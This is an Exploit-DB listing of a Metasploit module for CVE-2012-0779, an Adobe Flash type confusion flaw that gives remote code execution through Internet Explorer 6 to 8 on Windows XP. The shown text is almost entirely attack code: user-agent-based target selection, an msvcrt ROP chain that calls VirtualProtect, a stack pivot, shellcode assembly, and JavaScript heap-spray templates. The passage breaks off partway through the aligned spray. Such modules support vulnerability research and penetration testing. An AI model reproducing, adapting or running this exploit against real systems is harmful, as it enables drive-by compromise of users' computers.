Exploit-DB #19369
Description: Adobe Flash Player - Object Type Confusion (Metasploit)
Type: remote
Platform: windows
Date: 2012-06-25
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::BrowserAutopwn

	autopwn_info({
		:os_name    => OperatingSystems::WINDOWS,
		:ua_name    => HttpClients::IE,
		:ua_minver  => "6.0",
		:ua_maxver  => "8.0",
		:method     => "GetVariable",
		:classid    => "ShockwaveFlash.ShockwaveFlash",
		:rank       => NormalRanking, # reliable memory corruption
		:javascript => true
	})

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Adobe Flash Player Object Type Confusion",
			'Description'    => %q{
				This module exploits a vulnerability found in Adobe Flash
				Player.  By supplying a corrupt AMF0 "_error" response, it
				is possible to gain arbitrary remote code execution under
				the context of the user.

				This vulnerability has been exploited in the wild as part of
				the "World Uyghur Congress Invitation.doc" e-mail attack.
				According to the advisory, 10.3.183.19 and 11.x before
				11.2.202.235 are affected.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'sinn3r', # Metasploit module
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2012-0779' ],
					[ 'OSVDB', '81656'],
					[ 'BID', '53395' ],
					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info
					[ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ]
				],
			'Payload'        =>
				{
					#'Space'    => 1024,
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Flash Player 11.2.202.228
					[ 'Automatic', {} ],
					[
						'IE 6 on Windows XP SP3',
						{
							'Rop'    => nil,
							'RandomHeap' => false,
							'Offset' => '0x0'
						}
					],
					[
						'IE 7 on Windows XP SP3',
						{
							'Rop'    => nil,
							'RandomHeap' => false,
							'Offset' => '0x0'
						}
					],
					[
						'IE 8 on Windows XP SP3 with msvcrt ROP',
						{
							'Rop' => :msvcrt,
							'RandomHeap' => false,
							'Offset' => '238',
							'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "May 04 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
				OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
				OptPort.new('RTMPPORT',    [ true, "The local port to RTMP service listen on.", 1935 ]),
			], self.class
		)

	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
			return targets[1]  #IE 6 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
			return targets[2]  #IE 7 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
			return targets[3]  #IE 8 on Windows XP SP3
		else
			return nil
		end
	end

	def junk(n=4)
		return rand_text_alpha(n).unpack("V").first
	end

	def nop
		return make_nops(4).unpack("V").first
	end

	def ret(t)
		return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
	end

	def popret(t)
		return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
	end

	def get_rop_chain(t)

		# ROP chains generated by mona.py - See corelan.be
		print_status("Using msvcrt ROP")
		rop =
			[
				0x77c4e392,  # POP EAX # RETN
				0x77c11120,  # <- *&VirtualProtect()
				0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
				junk,
				0x77c2dd6c,
				0x77c4ec00,  # POP EBP # RETN
				0x77c35459,  # ptr to 'push esp #  ret'
				0x77c47705,  # POP EBX # RETN
				0x00001000,  # EBX
				0x77c3ea01,  # POP ECX # RETN
				0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
				0x77c46100,  # POP EDI # RETN
				0x77c46101,  # ROP NOP (-> edi)
				0x77c4d680,  # POP EDX # RETN
				0x00000040,  # newProtect (0x40) (-> edx)
				0x77c4e392,  # POP EAX # RETN
				nop,         # NOPS (-> eax)
				0x77c12df9,  # PUSHAD # RETN
			].pack("V*")

		code = ret(t)
		code << rand_text(119)
		code << rop
		code << "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
		code << payload.encoded
		offset = 2616 - code.length
		code << rand_text(offset)
		code << [ t['StackPivot'] ].pack("V")
		return code
	end

	def get_easy_spray(t, js_code, js_nops)

		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");

		while (nops.length < 0x80000) nops += nops;

		var offset = nops.substring(0, #{t['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);


		heap_obj.gc();
		for (var z=1; z < 0x185; z++) {
			heap_obj.alloc(block);
		}

		JS

		return spray

	end


	def get_aligned_spray(t, js_rop, js_nops)

		spray = <<-JS

		var heap_obj = new heapLib.ie(0x20000);
		var nops = unescape("#{js_nops}");
		var rop_chain = unescape("#{js_rop}");

		while (nops.length < 0x80000) nops += nops;

		var offset = nops.substring(0, #{t['Offset']});
		var shellcode = offset + rop_chain